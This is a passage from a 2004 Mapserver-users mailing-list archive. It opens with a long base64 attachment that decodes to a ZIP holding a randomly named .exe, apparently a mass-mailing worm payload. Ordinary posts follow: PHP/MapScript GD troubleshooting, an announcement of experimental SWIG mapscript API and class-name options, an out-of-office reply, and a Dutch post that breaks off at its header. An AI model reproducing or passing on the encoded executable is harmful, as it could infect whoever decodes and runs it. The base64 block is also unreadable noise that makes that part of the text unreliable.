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 eGVQSwUGAAAAAAEAAQA7AAAAx1AAAAAA ----------qsfvyoanwtlnulttvpux-- From mapserver at no-log.org Fri Mar 5 17:53:00 2004 From: mapserver at no-log.org (mapserver at no-log.org) Date: Sat, 6 Mar 2004 02:53:00 +0100 (CET) Subject: [Mapserver-users] (no subject) Message-ID: <28308.81.50.116.216.1078537980.squirrel@mail3.no-log.org> >Just have a look at : >http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html >You have >to use fbd fonts files. Ming "does not yet support True type fonts". >Pierre GIRAUD Oops it's true :) But i get the same problem with fdb fonts. (shp2img works perfectly with fdb fonts and render the layer without any error). >It's quite likely due to differences between PHP's builtin GD and the copy >of GD used by php_mapscript. You'll have to disable the PHP GD module or to >get PHP to use the same GD as php_mapscript (i.e. probably the system GD). I've disabled php gd module and it produces the same error. I've also tried to use the same GD as php_mapscript: ldd mapserver ... libgd.so.2 => /usr/lib/libgd.so.2 (0x40027000) ldd php ... libgd.so.2 => /usr/lib/libgd.so.2 (0x4006c000) And again internal server error. Where i'm wrong ? I'll continue the fight ;) Thanks for the help :) mastre From sgillies at frii.com Sat Mar 6 09:57:35 2004 From: sgillies at frii.com (Sean Gillies) Date: Sat, 6 Mar 2004 10:57:35 -0700 Subject: [Mapserver-users] Options to try experimental Perl/Python/Ruby mapscript changes in CVS Message-ID: Hi, Work is underway to bring the PHP-Mapscript and SWIG mapscript APIs more in-line. PHP-Mapscript does some things in a better way than does the SWIG mapscript and we aim to bring as many of these as possible to the Perl/Python/Ruby modules. Some of these would break the existing API and so we are enabling the new features under the control of a SWIG preprocessor symbol NEXT_GENERATION_API. Why the long ugly name? To motivate us to make this stuff standard as soon as possible :) You will have to run SWIG on your interface file like this swig -lang -shadow -DNEXT_GENERATION_API ... to get the new features. The nightly build process will continue as it has and will *not* enable the next generation API features. What is in the next generation api? The getShape method of layerObj has been rewritten to return a shapeObj rather than MS_SUCCESS/MS_FAILURE, and has the order of shapeindex and tileindex parameters switched so that the less used tileindex parameter may be optional. Future features in the next generation api will be along these lines, making sure all get* methods return objects, reordering parameters and such. Separate from these new features are optional renaming of mapscript classes. Running SWIG like swig -lang -shadow -DNEXT_GENERATION_NAMES ... results in classes that are renamed from mapObj, outputFormatObj, etc to Map, OutputFormat, and so on. The next generation names are capitalized "camel case" whereas the standard names are not well distinguished from class method names. We're all using object-oriented languages, so the "Obj" suffix is redundant. It is also a cross-language convention (see CPAN and the Python standard library) that package and class names be capitalized. The new names are a bit controversial, but I really do feel that forming class names in a way distinctly different from class attributes and methods improves API clarity. The ongoing documentation of the development mapscript will continue to use the standard class names. Python users can readily upgrade existing code to use the next generation class names import mapscript # with next generation names # Rename the next generation classes for use with older code mapscript.mapObj = mapscript.Map # Continue with older code mapobj = mapscript.mapObj('foo.map') ... I am pretty sure Ruby users can do something similar. Perl? I'm not sure. There are new issues in Bugzilla concerning these experimental features next generation api: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=586 next generation names: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=587 cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From mh at svaj.dk Sat Mar 6 10:11:19 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sat, 6 Mar 2004 19:11:19 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From w.blanken at geon.nl Sat Mar 6 06:20:58 2004 From: w.blanken at geon.nl (Wim Blanken) Date: Sat, 06 Mar 2004 15:20:58 +0100 Subject: [Mapserver-users] Example site (in dutch) Message-ID: <000001c403a8$82dce440$6400a8c0@blanken> This is a multi-part message in MIME format. --Boundary_(ID_iB4Ynu3TxAR9TY/v2msBuA) Content-type: text/plain; charset=iso-8859-1 